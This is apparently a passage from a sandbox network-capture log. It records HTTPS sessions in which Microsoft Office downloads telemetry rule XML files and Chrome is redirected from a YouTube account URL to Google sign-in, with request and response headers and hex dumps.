113	192.168.2.4	49859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:15 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:15 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:15 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 635e2ff4-801e-0035-1973-17752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012315Z-1657d5bbd482lxwq1dp2t1zwkc00000002dg00000000vm6n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:15 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.4	49860	142.250.181.238	443	2668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:15 UTC	869	OUT	GET /account?=https%3A%2F%2Faccounts.google.com%2Fv3%2Fsignin%2Fchallenge%2Fpwd HTTP/1.1 Host: www.youtube.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 01:23:16 UTC	2634	IN	HTTP/1.1 303 See Other Content-Type: application/binary X-Content-Type-Options: nosniff Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 07 Oct 2024 01:23:16 GMT Location: https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%253F%253Dhttps%25253A%25252F%25252Faccounts.google.com%25252Fv3%25252Fsignin%25252Fchallenge%25252Fpwd%26feature%3Dredirect_login&hl=en X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="youtube_main" Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Vary: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Report-To: {"group":"youtube_main","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube_main"}]} Origin-Trial: AmhMBR6zCLzDDxpW+HfpP67BqwIknWnyMOXOQGfzYswFmJe+fgaI6XZgAzcxOrzNtP7hEDsOo1jdjFnVr2IdxQ4AAAB4eyJvcmlnaW4iOiJodHRwczovL3lvdXR1YmUuY29tOjQ0MyIsImZlYXR1cmUiOiJXZWJWaWV3WFJlcXVlc3RlZFdpdGhEZXByZWNhdGlvbiIsImV4cGlyeSI6MTc1ODA2NzE5OSwiaXNTdWJkb21haW4iOnRydWV9 P3P: CP="This is not a P3P policy! See http://support.google.com/accounts/answer/151657?hl=en for more info." Server: ESF Content-Length: 0 X-XSS-Protection: 0 Set-Cookie: GPS=1; Domain=.youtube.com; Expires=Mon, 07-Oct-2024 01:53:16 GMT; Path=/; Secure; HttpOnly Set-Cookie: YSC=wQd_0utpaFU; Domain=.youtube.com; Path=/; Secure; HttpOnly; SameSite=none; Partitioned Set-Cookie: VISITOR_INFO1_LIVE=qkyi6csYLGo; Domain=.youtube.com; Expires=Sat, 05-Apr-2025 01:23:16 GMT; Path=/; Secure; HttpOnly; SameSite=none; Partitioned Set-Cookie: VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgXg%3D%3D; Domain=.youtube.com; Expires=Sat, 05-Apr-2025 01:23:16 GMT; Path=/; Secure; HttpOnly; SameSite=none; Partitioned Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	49862	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:16 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:16 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:16 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 4d8e5842-701e-0021-0efe-163d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012316Z-1657d5bbd4824mj9d6vp65b6n400000002y000000000medc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:16 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	49864	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:16 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:16 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:16 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: cd0b82ba-d01e-0049-1304-17e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012316Z-1657d5bbd48p2j6x2quer0q02800000002yg00000000h2te x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:16 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	49863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:16 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:16 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:16 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 8a56303a-c01e-0066-0f01-17a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012316Z-1657d5bbd48cpbzgkvtewk0wu000000002tg00000000pbrn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:16 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:16 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:16 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:16 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 838d785c-001e-0014-24fe-165151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012316Z-1657d5bbd48cpbzgkvtewk0wu000000002z00000000023ds x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:16 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	49865	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:16 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:16 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:16 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 0c184816-a01e-000d-72ff-16d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012316Z-1657d5bbd48762wn1qw4s5sd3000000002q000000000932e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:16 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	49867	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:17 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:17 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:17 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: d3a3eb01-b01e-003d-1ef1-16d32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012317Z-1657d5bbd48vlsxxpe15ac3q7n00000002t0000000009fhx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:17 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	49868	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:17 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:17 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:17 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: ca2bab4f-201e-0071-5e14-17ff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012317Z-1657d5bbd487nf59mzf5b3gk8n00000002bg00000000mdze x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:17 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	49869	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:17 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:17 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:17 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 4d8e59a4-701e-0021-64fe-163d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012317Z-1657d5bbd487nf59mzf5b3gk8n00000002ag00000000rz6e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:17 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	49870	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:17 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:17 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:17 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 4ef38422-401e-000a-160c-174a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012317Z-1657d5bbd48dfrdj7px744zp8s00000002mg000000004pka x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
